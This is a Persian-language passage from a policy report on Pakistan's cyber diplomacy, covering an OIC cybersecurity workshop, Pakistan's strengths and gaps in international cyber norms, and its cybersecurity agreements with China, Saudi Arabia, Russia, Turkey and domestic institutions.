فنــاوری ســازمان همکاری اسلامــی )COMSTECH(2 در اسلام‌آباد برگزار شــد. ایــن رویداد با 

همــکاری کمیتــه دائمــی همکاری‌های علمی و فناوری ســازمان همکاری اسلامی و شــرکت 

هــواوی پاکســتان3 بــا حــضور بیــش از ۳۰۰ شــرکت‌کننده از کشورهــای مختلــف بــه صورت 

حــضوری و برخــط برگزار شــد. در این کارگاه، رهبران، کارشناســان و فعــالان صنعت امنیت 

سایبری گردهم‌آمدند تا درباره تهدیدهای فزاینده سایبری پیش‌روی کشورهای عضو این 

سازمان گفتگو کرده و راهکارهایی برای مقابله با این چالش‌ها و بهره‌برداری از فرصت‌های 

موجود درجهت تامین امنیت فضای دیجیتال ارائه دهند. در این کارگاه عمدتا موضوعات 

کلیــدی همــچون امنیت و حفاظت از حریم خصوصی در شــبکه‌های نســل پنجم اینترنت، 

تامین امنیت شــبکه‌های شــرکتی برای کســب‌وکارهای کوچک و متوســط و نقش امنیت 

ح شد. سایبری در تحول دیجیتال مطر

دبیــرکل دفتــر کمیتــه دائمــی همکاری‌های علمــی و فناوری ســازمان همــکاری اسلامی 

در اسلام‌آبــاد نیــز در ایــن کارگاه پیشــنهاد کــرد کنفرانــس امنیت ســایبری در ســطح وزرای 

کشورهــای عضــو ســازمان همــکاری اسلامی باهدف تبــادل تجربه و توســعه ســازوکارهای 

دفاعی قدرتمند در برابر تهدیدهای ســایبری برگزار شــود. وی همچنین از برنامه‌ریزی برای 

برگــزاری دو مجمــع جهانــی امنیــت ســایبری در آسیــای مــرکزی و آفریقــا با همکاری شــرکت 

هــواوی و تیم پاســخ فوری رایانه‌ای ســازمان همکاری اسلامــی )OIC-CERT(4 خبر داد که بر 

ظرفیت‌سازی و تبادل دانش تمرکز خواهندداشت.

1.  International Workshop on Cyber Security Landscape in OIC Countries: Issues and Prospects
2.  OIC's Standing Committee on Scientific and Technological Cooperation
3.  Huawei Technologies Pakistan
4.  Organisation of Islamic Cooperation- Computer Emergency Response Team
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مدیرعامــل شــرکت هــواوی در پاکســتان نیــز در ایــن کارگاه اظهار داشــت این شــرکت 

متعهــد بــه حمایت از کشورهای عضو ســازمان همــکاری اسلامی در مقابلــه با چالش‌های 

امنیــت ســایبری و حفاظــت از اقتصاد دیجیتــال آن‌ها اســت و به‌عنوان شــرکتی پیشرو در 

حوزه فنــاوری اطلاعــات و ارتباطــات بــر ســرمایه‌گذاری در فناوری‌هــای پیشــرفته و امنیــت 

زیست‌بوم و امنیت سایبری متمرکز است ]66[.

دکتــر حیــدر عبــاس، مدیــرکل تیــم ملــی پاســخ فوری ســایبری پاکســتان )PkCERT(، نیــز 

در ایــن کارگاه بین‌المللــی راهبــرد اجــرایی و جامعــی بــرای همــکاری کشورهــای عضــو ســازمان 

ح کــرد. ایــن چارچــوب همــکاریِِ پیشــنهادی بــر حوزه‌هــای  در حوزه امنیــت ســایبری مــطر

کلیــدی بــرای اقدامــات مشــترک به‌منــظور تقویــت امنیــت ســایبری متمرکــز بــود. به‌طورکلــی، 

ــتراک‌گذاری  ــا به‌اش ــا ب ــن شیوه‌ه ــا و بهتری ــه تهدیده ــات مربوط‌ب ــی اطلاع ــادل آن ــهیل تب تس

اطلاعــات، ارتقــای مهارت‌هــا و تخصــص فنــی در میــان کشورهــای عضــو ازطریــق آموزش 

ــش  ــرای واکن ــی ب ــاد هماهنگ ــازی و ایج ــرای ظرفیت‌س ــع ب ــتراک‌گذاری مناب ــد و به‌اش هدفمن

فوری و یکپارچــه در برابــر رخدادهــای ســایبری ازطریــق اقدامــات پاســخ بــه حادثــه هــدف 

اصلــی ایــن چارچــوب همــکاری به‌شــمار می‌آمــد. وی همچنیــن بــه ایــن نکتــه اشــاره کــرد 

کــه پاکســتان متعهــد بــه تقویــت همــکاری بــا کشورهــای عضــو ایــن ســازمان اســت، چراکــه 

کشورهــا بایــد بــه‌صورت جمعــی تلاش کننــد تــا بــه تهدیدهــا و چالش‌هــای روبه‌رشــد امنیــت 

ســایبری پاســخ دهنــد ]67[.

کارگاه  ایــن  افتتاحیــه  جلســه  در  نیــز   )PTA( پاکســتان  مخابــرات  ســازمان  رئیــس 

بین‌المللــی پیشــنهاد مبنی‌بــر تاسیــس مرکــز تخصصــی امنیــت ســایبری را به‌منــظور تقویت 

ح کــرد. وی همچنیــن  امنیــت دیجیتــال در کشورهــای عضــو ســازمان همــکاری اسلامــی مــطر

گفــت امنیــت ســایبری موضوعــی نیســت کــه یــک ســازمان یــا کــشور بتوانــد به‌تنهــایی آن 
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را مدیریــت کنــد و کشورهــا نیازمنــد همــکاری و هم‌افــزایی هســتند. ازایــن‌رو، لازم اســت 

ــی  ــکاری اسلام ــازمان هم ــو س ــای عض ــان کشوره ــایبری می ــت س ــی امنی ــز تخصص ــک مرک ی

ــا بتــوان آینــده دیجیتــال امنــی بــرای مــردم فراهــم کــرد. وی تاکیــد کــرد کــه در  ایجــاد شــود ت

ایــن همــکاری می‌تــوان بــر پژوهــش، آموزش، تبــادل چارچوب‌هــا و مستندســازی تجربیــات 

ــرد ]68[. ــز ک ــترک تمرک مش
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امنیــت ســایبری در ســطح بین‌المللــی به‌ســرعت در حــال تبدیــل شــدن بــه یکــی از 

عرصه‌های اصلی رقابت و همکاری میان دولت‌هاست. برای کشوری مانند پاکستان که در 

موقعیت ژئوپلیتیکی حساسی قرار دارد و و در حال گذار به زیست‌بوم دیجیتال است، این 

حوزه همزمان سرشــار از تهدیدها و ظرفیت‌های بالقوه است. بررسی دقیق این فرصت‌ها 

و چالش‌ها می‌تواند تصویر روشنی از موقعیت پاکستان در فضای سایبری جهانی ترسیم 

کند و مسیرهای راهبردی آن را مشخص سازد.

: پاکستان ظرفیت‌های مهمی برای بهره‌برداری از فضای سایبری به  مسیر فرصت‌محور

ح زیر در اختیار دارد: شر

 y ایفای نقش رهبری منطقه‌ای و ارتقای حاکمیت دیجیتال؛‌

 y گسترش روابط ژئوپلیتیکی از رهگذر دیپلماسی سایبری؛‌

 y ترویج شفافیت و رهبری مسئولانه در فضای سایبری؛‌

چالش‎هــا و فرصت‌‎های پیش‌‎روی پاکســتان 
در حوزه امنیت سایبری بین‎المللی

3
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 y افزایش مشارکت شهروندان و بهبود خدمات عمومی دیجیتال؛‌

 y کمک به رشد اقتصادی و جذب سرمایه‌گذاری خارجی؛‌

 y ترغیب نوآوری و توسعه همکاری‌های بین‌المللی؛‌

 y ایجاد مشارکت‌ها و اتحادهای جدید؛ و‌

 y .]57[ ترویج رفتار مسئولانه دولت‌ها در فضای سایبری‌

مسیــر پرچالــش: پاکســتان در حوزه امنیــت و دیپلماســی ســایبری بــا مجموعــه‌ای از 

ح زیر مواجه است: محدودیت‌ها و ضعف‌ها به شر

 y  محدودیت‌های نهادی و حقوقی شامل نبود چارچوب‌های کافی، ضعف در اصلاح و‌

اجرای قوانین، و کاستی‌های زیرساختی؛

 y ضعف در توسعه ظرفیت فنی- دیپلماتیک؛‌

 y عدم‌مشارکت فعال در هنجارسازی جهانی؛‌

 y کمبود ظرفیت انسانی و فنی؛‌

 y عدم‌تخصیص منابع کافی به آموزش سایبری؛‌

 y محدودیت در همکاری میان دولت و بخش خصوصی؛‌

 y ارتباطات راهبردی ناکافی با سایر کشورها؛‌

 y پرهیز از همسویی با قدرت‌های جهانی؛ و‌

 y .نگاه چندقطبی به نظام بین‌الملل‌

، پاکســـتان اقدامـــات گســـترده‌ای بـــرای مقابلـــه بـــا ایـــن کاســـتی‌ها  در ســـال‌های اخیـــر

انجـــام داده‌اســـت. پیوســـتن بـــه مجمـــع جهانـــی تخصـــص ســـایبری )GFCE(1 در ســـال 

۲۰۲۳ نشـــانه‌ای از تعهـــد ایـــن کـــشور بـــه توســـعه ظرفیـــت و همکاری‌هـــای بین‌المللـــی 

1.  Global Forum on Cyber Expertise
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ـــاد  ـــرای ایج ـــم ب ـــی مه ـــایبری گام ـــخ فوری س ـــی پاس ـــم مل ـــدازی تی ـــن، راه‌ان ـــت. افزون‌برای اس

ـــع به‌شـــمار مـــی‌رود. تمامـــی ایـــن اقدامـــات  ـــه مناب چـــارچوبی هماهنـــگ، چابـــک و مجهـــز ب

می‌توانـــد تـــاب‌آوری ســـایبری پاکســـتان را تقویـــت کـــرده و آن را بـــا بهتریـــن رویه‌هـــای 

ــازد ]41[. ــو سـ جهانـــی همسـ
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   دوم بخش    کستانابری پیسی ساادیپلم  .

تنهــا  آن‌هــا  فراملــی  و  ناشــناس  ماهیــت  به‌دلیــل  ســایبری  تهدیدهــای  مدیریــت 

ازطریــق همــکاری مشــترک میــان کشورهــا و حتــی بازیگــران غیردولتــی امکان‌پذیــر هســت. 

بــرای همــکاری و تدویــن هنجارهــای  تــازه‌ای  از کشورهــا مسیرهــای  درحالی‌کــه بسیــاری 

ســایبری ایجــاد کرده‌انــد، مشــارکت پاکســتان در ایــن حوزه بسیــار محــدود بــوده و ایــن 

کــشور از نظــر همکاری‌هــای دوجانبــه، چندجانبــه و بین‌المللــی در حوزه ســایبری از دیگــر 

کشورهــا عقــب مانده‌اســت. گــزارش مجمــع جهانــی اقتصــاد1 بــا عنــوان »ریســک‌های جهانــی 

۲۰۲۳«2 نشــان می‌دهــد کــه پاکســتان در دو ســال آینــده بــا دو تهدیــد اصلــی مواجــه اســت: 

نخســت، »تمرکــز قــدرت دیجیتــال« ناشــی‌از وابســتگی بــه فناوری‌هــای محــدود و کنــترل 

ــر آن‌هــا؛ دوم، »ناکامــی اقدامــات امنیــت ســایبری«. در چنیــن شــرایطی، پاکســتان  دولتــی ب

بایــد- به‌جــای حرکــت بــه ســمت انحصــار دیجیتــال- تعــاملات خــود را بــا جامعــه جهانــی 

افزایــش دهــد و ظرفیت‌هــای داخلــی خــود را در جهــت همکاری‌هــای بین‌المللــی تقویــت 

1.  World Economic Forum
2.  Global Risks Report 2023

ضرورت تقویــت تعــاملات جهانی برای 
دفع تهدیدهای سایبری

4
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نمایــد. واقعیــت ایــن اســت کــه حــضور پاکســتان در مجامــع بین‌المللــی مهمــی چون گروه 

کارشناســان دولتــی ســازمان ملــل )UN GGE(، کمیتــه فنــی مشــترک ســازمان اســتاندارد 

جهانــی/ کمیــسیون بین‌المللــی الکتروتکنیــک )ISO/IEC JTC(1، مجمــع جهانــی تخصــص 

 2)ITU( گروه‌هــای مطالعــه استانداردســازی اتحادیــه بین‌المللــی مخابــرات ،)GFCE( ســایبری

و مجمــع حکمرانــی اینترنــت )IGF(3 تاکــنون بسیــار کمرنــگ بوده‌اســت. بنابرایــن، این کشور 

به‌منــظور جبــران ایــن عقب‌ماندگــی بایــد هماننــد ســایر کشورهــا بــه هنجارهــای یازده‌گانــه 

ســازمان ملــل دربــاره رفتــار مســئولانه کشورهــا در فضــای ســایبری پایبنــد باشــد. پاکســتان 

در ســطح ملــی بایــد قوانیــن و سیاســت‌ها و ســازوکارهای همــکاری موثــر دولــت بــا بخــش 

خصوصــی، دانشــگاه‌ها و جامعــه مدنــی را تقویت بخشــد و در ســطح بین‌المللــی نیز نیازمند 

ــای  ــر در فرآینده ــارکت فعال‌ت ــه و مش ــه و چندجانب ــایبری دوجانب ــی س ــترش دیپلماس گس

شــرکت‌های  ماننــد  غیردولتــی  بازیگــران  نقش‌آفرینــی  افزون‌برایــن،  اســت.  هنجارســازی 

فنــاوری، دانشــگاه‌ها و نهادهــای مدنــی نیــز بایــد موردتوجــه قــرار گیــرد. درنهایــت، پاکســتان 

بــا شناســایی منافــع مشــترک خــود بــا ســایر کشورهــا و حــضور فعال‌تــر در جامعــه جهانــی 

و تبــادل دانــش و تجربــه می‌توانــد مسیــر توســعه فنــاوری و ایجــاد محیــط ســایبری امن‌تــر 

را همــوار ســازد. درادامــه بــه نمونه‌هــایی از همکاری‌هــای ملــی و بین‌المللــی ایــن کــشور در 

حوزه امنیــت ســایبری اشــاره می‎شــود ]58[.

4. 1.  همکاری‌های بین‌المللی پاکستان در حوزه امنیت سایبری

بــا  پاکســتان در ســال‌های اخیــر همکاری‌هــای متعــددی در زمینــه امنیــت ســایبری 

کشورهــای مختلــف و ســازمان‌های منطقــه‌ای داشته‌اســت تــا تــاب‌آوری ســایبری خــود را 

1.  International Organization for Standardization/ International Electrotechnical Commission Joint 
Technical Committee
2.  ITU Standardisation Study Groups
3.  Internet Governance Forum
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تقویــت کنــد و چارچوب دفاع دیجیتال قدرتمند ایجاد نمایــد. درادامه، مروری بر مهم‌ترین 

مشارکت‌های سایبری پاکستان با کشورهای دیگر ارائه شده‌است.

همکاری پاکستان و چین در حوزه سایبری� 

در مارس 2025، هیئت دولت پاکستان با امضای تفاهم‌نامه‌ همکاری میان تیم ملی پاسخ 

فوری سایبری پاکستان و تیم فنی/مرکز هماهنگی ملی پاسخ فوری رایانه‌ای چین1 موافقت 

کــرد. هــدف ایــن همــکاری، تقویــت اقدامــات امنیت ســایبری ازطریــق پژوهــش، آموزش، 

مشاوره و ابتکارات مشترک برای جلوگیری از حملات سایبری بیان شده‌است. به‌طورکلی، 

ایــن تفاهم‌نامــه بــر گســترش همــکاری در حوزه‌هــای گونــاگون ازجملــه سیاســت‌گذاری، 

رزمایش‌هــای امنیتــی، تبادل اطلاعات و ارتقای کلی ظرفیت ســایبری تمرکز خواهدداشــت 

و به‌موجب آن مقرر شده‌اســت هر دو کشور درجهت تقویت آگاهی و تاب‌آوری ســایبری و 

مقابلــه با تهدیدهای نوپدیــد دیجیتال با یکدیگر همکاری کنند. ازایــن‌رو، این توافق گامی 

مهم در جهت تقویت روابط دوجانبه در حوزه فناوری به‌شمار می‌رود.

علاوه‌براین، هیئت دولت پاکستان موافقت خود را با توافق‌نامه‌ای میان وزارت فناوری 

اطلاعــات و ارتباطــات پاکســتان )MoITT( و اتحادیــه بین‌المللــی مخابــرات )ITU( برای ایجاد 

مرکز شــتاب‌دهنده فناوری اطلاعات2 در مرکز ملی رشــد اسلام‌آباد3 اعلام کرد. گفتنی است 

ایــن ابتــکار بــر تقویت زیســت‌بوم فناوری کــشور ازطریق ارتقــای ظرفیت ایــن مرکز متمرکز 

خواهدبود ]59[.

همکاری پاکستان و عربستان سعودی در حوزه سایبری� 

پاکســتان و عربســتان در حوزه‌هــای گونــاگون ازجمله فناوری اطلاعــات روابط نزدیکی با 

1.  China’s National Computer Emergency Response Technical Team/Coordination Center
2.  IT Accelerator Center
3.  National Incubation Center
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یکدیگر دارند. پاکستان و عربستان سعودی در اکتبر 2024 با امضای ۲۷ تفاهم‌نامه همکاری 

در حوزه‌هــای انرژی، کشــاورزی، معــدن، فنــاوری اطلاعــات و امنیــت ســایبری تلاش کردنــد 

روابط دوجانبه خود را به ســطح توســعه اقتصادی و سرمایه‌گذاری مشترک ارتقا دهند. این 

توافق‌ها شامل سرمایه‌گذاری 70 میلیون دلاری در بخش کشاورزی، تاسیس کارخانه‌های 

نیمه‌هــادی و نســاجی، اجــرای پروژه‌هــای انرژی ترکیبــی و ایجاد تدابیر امنیت ســایبری برای 

و  برنامه‌هــای دیجیتالی‌ســازی  در  کــشور  اســت. همــکاری دو  کســب‌وکارها و مشــتریان 

آموزش الکترونیکــی و توســعه صــادرات ادویــه و ســبزیجات از پاکســتان نیز بخشــی از این 

تفاهم‌نامه‌های همکاری است ]61[.

درهمین‌راســتا، دو کــشور در جــولای 2024 در زمینــه تقویــت همــکاری در حوزه فنــاوری 

اطلاعات و امنیت سایبری توافق کردند. وزیر فناوری اطلاعات پاکستان و سفیر عربستان 

در 25 جولای در اسلام‌آباد با یکدیگر دیدار کردند و به گفتگو درباره گسترش همکاری‌های 

دوجانبه در حوزه‌های فناوری اطلاعات، مخابرات و امنیت سایبری پرداختند. وزیر فناوری 

اطلاعات پاکســتان در دیدار با ســفیر عربســتان تاکید کرد که این کشور قصد دارد همکاری 

بــا عربســتان در زمینــه فنــاوری اطلاعــات و مخابــرات را تقویــت کنــد. او همچنیــن از طــرف 

سعودی درخواست کرد تا برای شرکت‌های پاکستانی ثبت‌شده در هیئت صادرات نرم‌افزار 

پاکســتان1 در زمینه دریافت ویزا و ســفر به عربستان تسهیلات بیشتری فراهم کند. سفیر 

عربستان نیز در این دیدار اطمینان داد که کشورش به‌طورکامل از همکاری‌های فناورانه و 

سایبری با پاکستان حمایت خواهدکرد و روند دریافت ویزا و سفر برای شرکت‌های فناوری 

پاکســتانی را تســهیل خواهدبخشیــد. در نمایشــگاه فناوری LEAP که از ۴ تــا ۷ مارس ۲۰۲۴ 

در ریاض برگزار شــد نیز ده‌ها شــرکت فناوری پاکستانی ایده‌ها و محصولات نوآورانه خود را 

1.  Pakistan Software Export Board
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عرضه کردند و موفق به امضای قراردادهای مهمی با شــرکت‌های ســعودی شدند؛ اقدامی 

که رشد صادرات فناوری اطلاعات پاکستان را سرعت بخشید ]60[.

همکاری پاکستان و روسیه در حوزه سایبری� 

در دســامبر 2021، مشــاوران امنیت ملی پاکســتان و روسیه طی دیداری جامع به بررســی 

فرصت‌هــای همــکاری در حوزه‌های دفاع، مقابله با تروریســم و امنیت ســایبری پرداختند. 

دکتــر مؤید یوســف، مشــاور امنیت ملی پاکســتان، به همــراه هیئتی شــش‌نفره به دعوت 

، اولین گفت‌وگوی سطح  همتای روس خود نیکلای پاتروشف به مسکو سفر کرد. این دیدار

عالی هیئت‌های دو کشور از ســال ۲۰۱۸ به‌شــمار می‌رود. دکتر یوســف مذاکرات انجام‌شده 

را نشــانه‌ای از اســتحکام روابط پاکســتان و روسیه و تعهد دو طرف به گسترش بیشتر این 

روابــط دانســت. در جریــان ایــن دیــدار دو روزه، طرفیــن بــا موفقیــت درباره مســائل امنیتی 

دوجانبه و منطقه‌ای گفت‌وگو کردند و بر توسعه همکاری‌ها در حوزه‌های امنیت سایبری، 

دفــاع، مقابلــه بــا تروریســم و مبــارزه با مــواد مخدر توافــق نمودنــد. مــوضوع همکاری‌های 

اقتصادی، به‌ویژه در بخش انرژی، از دیگر محورهای اصلی مذاکرات بود ]62[.

همکاری پاکستان و ترکیه در حوزه سایبری� 

ترکیه و پاکستان روابط دفاعی دیرینه و محکمی دارند که طی دهه‌ها تقویت شده‌است. 

تجربه تحریم‌ها و محدودیت‌های تسلیحاتی از سوی غرب، ازجمله آمریکا و اروپا، باعث شده 

ایــن دو کــشور به ســمت روابط راهبــردی نزدیک‌تر و افزایش توان تولید داخلی تســلیحات 

حرکــت کنند تا وابســتگی خود بــه تامین‌کنندگان خارجی را کاهش دهنــد. ازاین‌رو، ترکیه و 

پاکستان همواره به‌دنبال تعمیق همکاری‌های دفاعی خود هستند و بر تجارت تسلیحاتی، 

تحقیقات مشترک، تولید مشترک، انتقال فناوری، تعاملات نهادی، رزمایش‌های مشترک، 

آموزش و امنیت و مبارزه با تروریسم تمرکز دارند ]63[.
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ــتان  ــه پاکس ــال ۲۰۱۸ ب ــه از س ــه ترکی ــد ک ــا می‌کن 1 ادع ــتور ــک مانی ــه نوردی ــزارش موسس گ

ح ابتــدا در دیــدار محرمانــه‌  کمــک کــرده تــا یــک ارتــش ســایبری مخفــی راه‌انــدازی کنــد. ایــن طر

ح شــد و ســپس توســط نخســت وزیــر  وزیــر کــشور ترکیــه و وزیــر کــشور پاکســتان مــطر

پاکســتان تاییــد شــد. مقابلــه بــا نفــوذ آمریــکا و هنــد در فضــای مجــازی، شــکل‌دهی بــه 

ح عنــوان  افــکار عمومــی و تقویــت جایــگاه سیاســی حاکمــان پاکســتان هــدف اصلــی ایــن طر

شده‌اســت.

براســاس ایــن گــزارش، ترکیــه پنــج مقــام ارشــد پلیــس خــود را بــرای راه‌انــدازی پروژه 

بــه پاکســتان فرســتاد و ایــن تیــم ماه‌هــا در پاکســتان کار کــرد تــا پروژه را راه‌انــدازی کنــد و 

درنهایــت آن را تکمیــل کــرد. همــکاری دو کــشور از آن زمــان تاکــنون ادامــه داشــته و تاکــنون 

حــدود 6,000 افســر پلیــس پاکســتانی بــرای پروژه راه‌انــدازی ارتــش ســایبری و ســایر پروژه‌هــا 

تحــت آموزش ترکیــه قــرار گرفته‌انــد. اگرچــه ایــن همــکاری پنهانــی در قالــب توافــق دوجانبــه 

ــوذی  ــات نف ــه عملی ــه علی ــود ک ــن ب ــت ای ــا واقعی ــد، ام ــی ش ــایبری معرف ــم س ــا جرای ــارزه ب مب

تصورشــده از سوی آمریــکا، هنــد و ســایر کشورهــا بــود. طبــق گــزارش ایــن موسســه، ایــن 

پروژه بیشــتر به‌عنــوان ابــزار سیاســی و تبلیغاتــی بــه‌کار مــی‌رود- تــا مقابلــه واقعــی بــا جرایــم 

ح اســت ]64[.  اینترنتــی- و هــدف‌گیری ایــالات متحــده و هنــد بخشــی از ماموریــت ایــن طر

ترکیــه و پاکســتان در ســال ۲۰۰۹ یــک ســازوکار نهــادی بــا نــام شورای عالــی همــکاری 

همــکاری  عالــی  شورای  نشســت  ششــمین  در  کرده‌انــد.  تاسیــس   2)HLSCC( راهبــردی 

راهبــردی کــه در فوریــه ۲۰۲۰ برگــزار شــد، بیانیــه‌ای مشــترک صادر گردید که براســاس آن هر دو 

کــشور توافــق کردنــد همکاری‌هــای خــود را ازطریــق نهادهــای مربوط‌بــه مقابلــه بــا تروریســم 

تقویــت کــرده تــا روش‌هــا و مسیرهــای همــکاری موثــر به‌ویــژه در رسیدگــی بــه تهدیدهــای 

1.  Nordic Monitor
2.  High Level Strategic Cooperation Council
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نوپدیــد و تروریســم ســایبری و جرایــم ســایبری را تدویــن کننــد. افزون‌بــرآن، در ایــن نشســت 

ــن  ــادل بهتری ــای آموزش و تب ــانون در حوزه‌ه ــجری ق ــای م ــن نهاده ــکاری بی ــد هم ــقرر ش م

شیوه‌هــا، اطلاعــات، تجربیــات و تخصص‌هــا افزایــش یابــد و مــوضوع تاسیــس یــک کارگروه 

مشــترک در زمینــه صنایــع دفاعــی1 نیــز بــه تصویــب رسیــد ]63[.

رئیس‌جمــهور ترکیــه و نخســت‌وزیر پاکســتان در فوریــه 2025 در گامــی مهــم بــرای تقویــت 

روابــط دوجانبــه، پــس از هفتمیــن نشســت شورای همــکاری راهبــردی ســطح عالــی2 در 

اسلام‌آبــاد ۲۴ توافق‌نامــه همــکاری در حوزه‌هــای مختلــف امضــا کردنــد. ایــن نشســت پــس 

از گفــت‌وگوی خصوصــی دو رهبــر در دفتــر نخســت‌وزیر برگــزار شــد. نکتــه برجســته ایــن 

مذاکــرات، امضــای اعلامیــه مشــترک بــا عنــوان تعمیــق، تــنوع و نهادینه‌ســازی مشــارکت 

راهبــردی3 بــود کــه تعهــد مجــدد دو کــشور بــرای تقویــت روابــط را تبییــن می‌کند. ایــن اعلامیه 

مبنــای اصلــی ۲۴ توافق‌نامــه تفصیلــی در حوزه‌هــای دفاع، انرژی و معــادن، تجارت و صنعت، 

بانکــی، فرهنــگ و رســانه‌، بهداشــت و  نــوآوری، امور مالــی و  آب، فنــاوری و  کشــاورزی و 

داروســازی، صنایــع دفاعــی، پژوهــش در حوزه هوافضــا و دریــایی و غیــره را تشــکیل می‌دهــد.

توافق‌نامه‌هـــای مهـــم دفاعـــی ترکیـــه و پاکســـتان شـــامل پروتـــکل تبـــادل پرســـنل نظامـــی 

و غیرنظامـــی بـــرای اهـــداف اجتماعـــی و فرهنگـــی4، تفاهم‌نامـــه همـــکاری در حوزه جنـــگ 

ــکاری در حوزه بهداشـــت و سلامـــت  ــوایی5 و پروتـــکل آموزش و همـ الکترونیـــک نیروی هـ

نظامـــی6 می‌شـــود. ایـــن توافق‌نامه‌هـــا توســـط وزیـــر دفـــاع ترکیـــه و وزیـــر دفـــاع پاکســـتان امضـــا 

شـــده‌اند ]65[.

1.  Joint Working Group on Defence Industry
2.  High-Level Strategic Cooperation Council
3.  Deepening, Diversifying, and Institutionalizing the Strategic Partnership
4.  Protocol on the Exchange of Military and Civilian Personnel for Social and Cultural Purposes
5.  Memorandum of Understanding on Air Force Electronic Warfare Cooperation
6.  Protocol on Training and Cooperation in Military Health
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4. 2.   همکاری‌های ملی پاکستان در حوزه امنیت سایبری

همکاری‌هــای پاکســتان در حوزه امنیــت ســایبری تنهــا بــه همکاری‌هــای بین‌المللــی 

محــدود نشــده و اقداماتــی در ســطح ملی نیــز انجام داده‌اســت. همــکاری میــان نهادهای 

داخلی، دانشــگاه‌ها و مراکز تحقیقاتی باهدف تقویت تــاب‌آوری دیجیتال، ارتقای مهارت‌ها 

و توســعه چارچوب‌هــای امنیتــی به‌منزلــه بخشــی از راهبــرد جامــع ایــن کشور بــرای مقابله 

بــا تهدیدهــای ســایبری نوپدید اســت. ایــن همکاری‌هــا ازطریــق تفاهم‌نامه‌هــا، پروژه‌های 

پژوهشــی مشــترک، دوره‌های آموزشــی و کارگاه‌ها و هکاتون‌ها به هماهنگی میان نهادها 

کمک کرده و زمینه‌ســاز توســعه زیســت‌بوم امنیت ســایبری پایدار در پاکســتان می‌شــود. 

درادامه به نمونه‌هایی از این همکاری‌ها اشاره می‌شود.

همــــکاری سازمـــــان مخابــــــرات پاکســـــــتان و هیئــــــت ملــــــی امنیـــت مخابــــرات و � 

ـــات ـــاوری اطلاعـ فنــ

در مــارس 2023، ســازمان مخابــرات پاکســتان )PTA( و هیئــت ملــی امنیــت ارتباطــات و 

فنــاوری اطلاعــات )NTISB( یــک تفاهم‌نامــه همــکاری امضــا کردند. ایــن همــکاری به‌مثابه 

مشــارکتی راهبــردی محســوب می‌شــود کــه هــدف آن تقویــت تعامــل میــان دو ســازمان و 

کمــک بــه مقابله بــا چالش‌های نوپدید در حوزه امنیت ســایبری و امنیت اطلاعات اســت. 

حوزه‌های همکاری در این تفاهم‌نامه شــامل ایجاد سازوکار هماهنگی برای تسهیل روابط 

کاری به‌ویژه در زمینه نظارت بر امنیت مخابرات و فناوری اطلاعات مرتبط با تیم ملی پاسخ 

فوری سایبری، اتخاذ تدابیر حفاظتی از داده‌ها باتوجه‌به روند رو‌به‌افزایش دیجیتالی‌سازی، 

)ماننــد  ارتباطــات  و  اطلاعــات  فنــاوری  نویــن در حوزه  پذیــرش فناوری‌هــای  و  همگــرایی 

ابتکارهــای دولــت الکترونیک( و تحقق جامعه دیجیتال درراســتای چشــم‌انداز ۲۰۲۵ دولت 

پاکستان است.
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افزون‌برآن، سازمان مخابرات پاکستان و هیئت ملی امنیت ارتباطات و فناوری اطلاعات 

در قالــب ایــن همــکاری در زمینه ارتقای ظرفیت نیروی انســانی مشــارکت خواهندکرد و به 

تبــادل تجربــه و دانــش و برگــزاری نشســت‌ها، انجمن‌هــای گفت‌وگــو و دوره‌های آموزشــی 

دربــاره موضوعــات مرتبط و پیشــرفت‌های فناورانه مبادرت خواهندورزیــد. درمجموع، این 

همــکاری میان دو ســازمان گام مهمــی در جهت تقویت تلاش‌ها برای تبدیل پاکســتان به 

کشور دیجیتال امن و مطمئن به‌شمار می‌آید ]69[.

یت لاهور�  همکاری تیم ملی پاسخ فوری سایبری و دانشگاه علوم مدیر

 )LUMS( و دانشــگاه علــوم مدیریــت لاهور )PkCERT( تیــم ملــی پاســخ فوری ســایبری

تفاهم‌نامــه‌ای بــرای تقویــت چارچــوب امنیــت ســایبری پاکســتان بــه امضــا رســاندند. ایــن 

همــکاری بیانگــر چشــم‌انداز مشــترک دو طــرف بــرای نزدیک‌تــر کــردن صنعــت و دانشــگاه 

اســت و بــر پژوهــش، نــوآوری و پرورش اســتعدادها در حوزه امنیــت ســایبری تمرکــز دارد. 

هــدف ایــن مشــارکت، پاســخ بــه چالش‌هــای ملــی و جهانــی ســایبری ازطریــق تحقیقــات 

مشــترک و ارائــه راهکارهــای نوآورانــه اســت. درواقــع، ایــن اتحــاد راهبردی بر تحقیق‌وتوســعه 

مشــترک تمرکــز خواهدداشــت تــا راهکارهــای نویــن امنیــت ســایبری متناســب بــا نیازهــای 

ــرآن،  ملــی ایجــاد شــود و ایــن راهکارهــا قابلیــت اجــرا و تجاری‌ســازی داشته‌باشــند. افزون‌ب

دو ســازمان نامبــرده در قالــب ایــن همــکاری بــر تربیــت و ارتقــای توانایی‌هــای نیروی انســانی 

تخصصــی،  دوره‌هــای  صنعــت،  بــا  همســو  آموزشــی  برنامه‌هــای  ازطریــق  و  دارنــد  تمرکــز 

کارآموزی‌هــا و فرصت‌هــای مشــاوره در تلاش بــرای پرورش متخصصــان آینــده هســتند. 

و  همایش‌هــا  کارگاه‌هــا،  نهــاد  دو  ایــن   ، کــشور ســایبری  تــاب‌آوری  افزایــش  درراســتای 

مســابقات هــکاتون را در ســطح ملــی و بین‌المللــی برگــزار خواهندکــرد تــا تبــادل دانــش میــان 

دانشــگاه و صنعــت گســترش یابــد.
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براساس این تفاهم‌نامه، تیم ملی پاسخ فوری سایبری برنامه‌های آموزشی ساختارمند 

ارائه خواهدداد و امکان دسترســی پژوهشــگران دانشــگاه علوم مدیریت به کارشناســان 

صنعــت را فراهــم می‌کنــد تــا مهارت‌هــای ضروری امنیــت ســایبری را فراگیرنــد. درمقابــل، 

دانشــگاه علوم مدیریت نیز تحقیقات و پروژه‌های پیشــرفته‌ای را باتکیه‌بر زیرساخت‌های 

نویــن و تخصص میان‌رشــته‌ای خــود هدایت خواهدکــرد. این دو ســازمان همچنین قصد 

دارنــد برنامه‌هــای درســی و پروژه‌هــای دانشــگاهی را با رویکــرد کاربردی و مرتبط با مســائل 

واقعی طراحی کنند.

ایــن همــکاری نقطه‌عطف مهمــی در زمینه ایجاد زیســت‌بوم قدرتمند امنیت ســایبری 

پاکستان به‌شمار می‌آید. به‌طورکلی، هم‌افزایی میان صنعت و دانشگاه زمینه‌ساز پرورش 

نیروی انســانی ماهری خواهدبود که توانایی مواجهه با چشــم‌انداز پیچیده و درحال‌تغییر 

امنیت سایبری را دارد ]70[.

